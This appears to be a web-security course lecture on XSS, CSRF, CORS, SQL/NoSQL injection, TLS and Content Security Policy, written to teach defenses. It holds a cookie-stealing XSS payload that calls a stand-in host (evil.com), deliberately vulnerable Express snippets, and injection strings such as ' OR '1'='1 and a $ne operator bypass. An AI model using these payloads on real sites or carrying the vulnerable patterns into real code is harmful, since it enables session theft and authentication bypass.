Lecture 11: Web-Specific Security¶
This lecture is a tour of the attacks that exist specifically because your application runs inside a browser and talks to a database over a network: script injection, forged requests, misconfigured cross-origin rules, and data-layer injection. You'll learn how each attack actually works and the specific, concrete defense for each one — this is the material that separates "it works" from "it's safe to deploy."
In This Lecture¶
- Identify stored, reflected, and DOM-based XSS, and defend with output encoding
- Understand CSRF, and defend with anti-CSRF tokens and
SameSitecookies - Configure CORS correctly, including preflight requests and response headers
- Prevent SQL/NoSQL injection through sanitization and parameterized queries
- Enforce HTTPS/TLS, secure cookies, and Content Security Policy (CSP)
Cross-Site Scripting (XSS)¶
Cross-Site Scripting (XSS) is an attack where an attacker gets their own
JavaScript to execute in another user's browser, in the context of your trusted site —
meaning that script can read cookies (unless httpOnly), make authenticated requests,
modify the page, or steal form input, all while appearing to come from your legitimate
origin. XSS comes in three forms, distinguished by where the malicious script comes
from.
sequenceDiagram
participant A as Attacker
participant DB as Database
participant V as Victim's Browser
participant S as Your Server
A->>S: Submit comment: "<script>fetch('evil.com?c='+document.cookie)</script>"
S->>DB: Store comment as-is (no sanitization)
V->>S: GET /post/123
S->>DB: Fetch comments
S-->>V: HTML page including the raw <script> tag
Note over V: Browser executes attacker's script<br/>as if it were your site's code
V->>A: Cookie exfiltrated to evil.com
- Stored XSS — the malicious script is saved server-side (in a database, a comment field, a user profile) and served to every visitor who views that content. This is the most dangerous variant because it needs no per-victim interaction — the diagram above shows a stored XSS attack.
- Reflected XSS — the malicious script is part of the request itself (commonly a URL query parameter) and is echoed back unescaped in the response. The attacker must trick a specific victim into clicking a crafted link.
- DOM-based XSS — the vulnerability lives entirely in client-side JavaScript: the
page takes some attacker-controlled input (e.g.
location.hash) and writes it into the DOM via a dangerous sink (innerHTML,document.write) without ever touching the server.
// VULNERABLE: reflected XSS
app.get("/search", (req, res) => {
res.send(`<h1>Results for: ${req.query.q}</h1>`); // q is inserted raw
});
// A request to /search?q=<script>alert(document.cookie)</script> executes attacker JS
// VULNERABLE: DOM-based XSS (client-side)
document.getElementById("greeting").innerHTML = "Hello, " + location.hash.slice(1);
// A URL like #<img src=x onerror=alert(1)> executes attacker JS in the browser
Defense: Output Encoding¶
The core defense against all three forms is output encoding (also called escaping):
converting characters that have special meaning in HTML (<, >, &, ", ') into
their harmless entity equivalents (<, >, etc.) at the point where untrusted
data is inserted into a page, so the browser renders it as text, never as executable
markup.
// FIXED: encode before inserting into HTML
const escapeHtml = (str) =>
str.replace(/[&<>"']/g, (c) => ({
"&": "&", "<": "<", ">": ">", '"': """, "'": "'",
}[c]));
app.get("/search", (req, res) => {
res.send(`<h1>Results for: ${escapeHtml(req.query.q)}</h1>`);
});
Tip
Modern templating engines (EJS's <%= %>, Pug, Handlebars {{ }}) and frameworks
like React auto-escape interpolated values by default — this is why raw
dangerouslySetInnerHTML in React or <%- %> (unescaped) in EJS should always
raise a red flag in code review.
Never build HTML by string concatenation with untrusted input
Whenever you find yourself hand-assembling HTML strings with user-controlled data, you are one missed escape away from XSS. Prefer a templating engine or framework that escapes by default, and treat any explicit "raw"/"unescaped" output function as a deliberate, reviewed exception — never the default.
Cross-Site Request Forgery (CSRF)¶
Cross-Site Request Forgery (CSRF) exploits the fact that browsers automatically
attach cookies to requests, regardless of which site initiated the request. If a
victim is logged into bank.com (holding a valid session cookie) and then visits a
malicious page that silently submits a form or fires a request to bank.com, the
browser attaches the victim's real session cookie — and bank.com has no way to tell
the request wasn't intentional, because from the cookie's perspective it looks
authenticated.
sequenceDiagram
participant V as Victim (logged into bank.com)
participant E as evil-site.com
participant B as bank.com
V->>E: Visits evil-site.com (in another tab)
E-->>V: Page auto-submits a hidden form<br/>to bank.com/transfer
V->>B: POST /transfer?to=attacker&amount=1000<br/>Cookie: session=victim's real session
Note over B: Cookie looks valid — bank.com<br/>has no way to know the request<br/>didn't originate from its own UI
B-->>V: Transfer executed
Defense: Anti-CSRF Tokens and SameSite Cookies¶
Anti-CSRF tokens (also called synchronizer tokens) work by requiring every state-changing request to include a random, unpredictable token that the server issued and that only your own page's JavaScript has access to. An attacker's page, running on a different origin, cannot read or guess that token, so their forged request is rejected.
const csrf = require("csurf");
app.use(csrf({ cookie: true }));
app.get("/transfer-form", (req, res) => {
res.render("transfer", { csrfToken: req.csrfToken() }); // embed in a hidden field
});
app.post("/transfer", (req, res) => {
// csurf middleware automatically rejects the request with a 403
// if req.body._csrf doesn't match the token issued for this session
processTransfer(req.body);
res.send("Transfer complete");
});
SameSite cookies are a browser-enforced, complementary defense: the SameSite
cookie attribute tells the browser not to send a cookie on cross-site requests at
all.
res.cookie("session", sessionId, {
httpOnly: true,
secure: true,
sameSite: "strict", // cookie never sent on cross-site requests
// sameSite: "lax" is the practical default — allows top-level navigation
// (e.g. clicking a link) but blocks cross-site POSTs/subresource requests
});
Note
SameSite=strict is the strongest setting but can break legitimate cross-site
flows (e.g. arriving at your site via a link from an email client, where you'd
want the session cookie present). SameSite=lax is the modern browser default and
a reasonable balance for most session cookies.
Warning
SameSite cookies are a strong defense but not a complete substitute for
anti-CSRF tokens in high-value applications — some legacy or misconfigured
browsers, and non-cookie-based auth schemes, don't benefit from it. Defense in
depth (both mechanisms together) is the safest approach for sensitive
state-changing actions.
CORS: Cross-Origin Resource Sharing¶
You met the cors middleware package in Lecture 21 of Web Technologies. Now go one
level deeper: CORS (Cross-Origin Resource Sharing) is the browser-enforced
mechanism that relaxes the same-origin policy in a controlled way, letting a server
explicitly declare which other origins may read its responses via browser-based
JavaScript.
For "simple" requests (basic GET/POST with standard content types), the browser sends
the request directly and simply hides the response from the calling script unless the
server's response includes the right CORS headers. For anything more sensitive — custom
headers, PUT/DELETE/PATCH, or Content-Type: application/json — the browser
first sends a preflight request: an OPTIONS request asking the server "would you
allow the actual request I'm about to make?" before sending the real one.
sequenceDiagram
participant B as Browser (app on origin-a.com)
participant S as API (origin-b.com)
B->>S: OPTIONS /api/data (preflight)<br/>Origin: origin-a.com<br/>Access-Control-Request-Method: DELETE
S-->>B: 204 No Content<br/>Access-Control-Allow-Origin: origin-a.com<br/>Access-Control-Allow-Methods: GET, DELETE
Note over B: Browser checks headers;<br/>only proceeds if allowed
B->>S: DELETE /api/data/42 (actual request)
S-->>B: 200 OK
Key response headers:
| Header | Purpose |
|---|---|
Access-Control-Allow-Origin |
Which origin(s) may read the response |
Access-Control-Allow-Methods |
Which HTTP methods are permitted cross-origin |
Access-Control-Allow-Headers |
Which custom request headers are permitted |
Access-Control-Allow-Credentials |
Whether cookies/auth headers may be included |
const cors = require("cors");
app.use(
cors({
origin: ["https://myapp.com", "https://admin.myapp.com"], // explicit allowlist
credentials: true, // allow cookies to be sent cross-origin
methods: ["GET", "POST", "PUT", "DELETE"],
})
);
Access-Control-Allow-Origin: * combined with credentials
Never combine a wildcard origin with credentials: true — browsers actually
forbid this combination outright, but the underlying risk it prevents is real: it
would let any website make authenticated, cookie-bearing requests to your API on
a logged-in user's behalf. Always use an explicit origin allowlist when credentials
are involved.
SQL/NoSQL Injection and Sanitization¶
Injection happens when untrusted input is concatenated directly into a query string, letting an attacker change the query's structure, not just its data.
// VULNERABLE: SQL injection
const query = `SELECT * FROM users WHERE email = '${req.body.email}' AND password = '${req.body.password}'`;
// Input email = "' OR '1'='1" turns the WHERE clause into an always-true condition,
// bypassing authentication entirely.
The fix for SQL is parameterized queries (prepared statements), where the query structure is fixed in advance and user input is passed separately, so it can never be interpreted as SQL syntax:
// FIXED: parameterized query
const [rows] = await db.execute(
"SELECT * FROM users WHERE email = ? AND password_hash = ?",
[email, passwordHash]
);
NoSQL databases have their own injection risk. MongoDB queries are plain JavaScript
objects, so if you pass req.body straight into a query, an attacker can submit
operators instead of plain values:
// VULNERABLE: NoSQL injection
// Attacker sends: { "email": "admin@site.com", "password": { "$ne": null } }
const user = await User.findOne({
email: req.body.email,
password: req.body.password, // becomes { $ne: null } — matches ANY password
});
// FIXED: sanitize request input to strip Mongo operators
const mongoSanitize = require("express-mongo-sanitize");
app.use(mongoSanitize()); // strips keys starting with "$" or containing "."
// Also validate types explicitly (see Lecture 12) — reject non-string password fields
Never trust client input to be the type you expect
The NoSQL injection example above works precisely because the server assumed
req.body.password would always be a string. Combining input sanitization with
schema-based validation (Lecture 12) closes this class of bug at the door.
HTTPS/TLS, Secure Cookies, and Content Security Policy¶
TLS (Transport Layer Security) encrypts traffic between the client and server, preventing anyone on the network path — a coffee-shop Wi-Fi eavesdropper, a man-in-the-middle — from reading or tampering with requests, including credentials and session cookies. HTTPS is simply HTTP running over a TLS connection. In production, HTTPS is non-negotiable: without it, every defense discussed in this lecture (secure cookies, tokens, CSRF protections) can be undermined by someone simply watching the wire.
// Redirect all HTTP traffic to HTTPS, and instruct browsers to remember to use HTTPS
const helmet = require("helmet");
app.use(helmet.hsts({ maxAge: 31536000, includeSubDomains: true, preload: true }));
The Secure cookie attribute ensures a cookie is only ever sent over an HTTPS
connection, never plain HTTP — pair it with httpOnly (Lecture 9) and SameSite
(above) for a fully hardened session cookie:
res.cookie("session", sessionId, {
httpOnly: true,
secure: true, // HTTPS only
sameSite: "lax",
maxAge: 3600000,
});
Content Security Policy (CSP) is an HTTP response header that tells the browser
exactly which sources of scripts, styles, images, and other resources are allowed to
load on your page — a powerful defense-in-depth layer against XSS, because even if an
attacker manages to inject a <script> tag, a strict CSP can prevent the browser from
executing it (e.g. by disallowing inline scripts entirely).
app.use(
helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "https://trusted-cdn.com"], // no 'unsafe-inline'
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "data:", "https:"],
objectSrc: ["'none'"],
},
})
);
Tip
CSP is a second line of defense, not a replacement for output encoding. Treat it the way you'd treat a seatbelt in addition to careful driving — it limits the damage of a mistake, it doesn't excuse making one.
Try It Yourself¶
- Build a small Express + EJS app with a comment form that intentionally uses raw,
unescaped output (
<%- comment %>). Submit a<script>payload and observe it execute. Then switch to escaped output (<%= comment %>) and confirm the payload is rendered as inert text instead. - Add
csurfandSameSite=strictsession cookies to an Express app with a state-changingPOST /transferroute. Write a separate static HTML file (simulating an attacker's page) that auto-submits a form to that route, and confirm the request is now rejected.
Key Takeaways¶
- XSS lets attacker JavaScript run in your users' browsers under your origin; the core defense is output encoding at every point untrusted data reaches the DOM.
- CSRF abuses automatic cookie attachment to forge authenticated requests; defend with
anti-CSRF tokens and
SameSitecookies together. - CORS is a browser-enforced relaxation of the same-origin policy — configure it with an explicit origin allowlist, and never combine a wildcard origin with credentials.
- SQL injection is defeated by parameterized queries; NoSQL injection is defeated by sanitizing operator-like keys and validating input types.
- HTTPS/TLS is a baseline requirement in production — it protects every other security mechanism discussed here from being undermined by network eavesdropping.
- Combine
httpOnly,secure, andSameSitecookie attributes for a fully hardened session cookie. - Content Security Policy is defense-in-depth against XSS, restricting what the browser will execute even if malicious markup gets injected.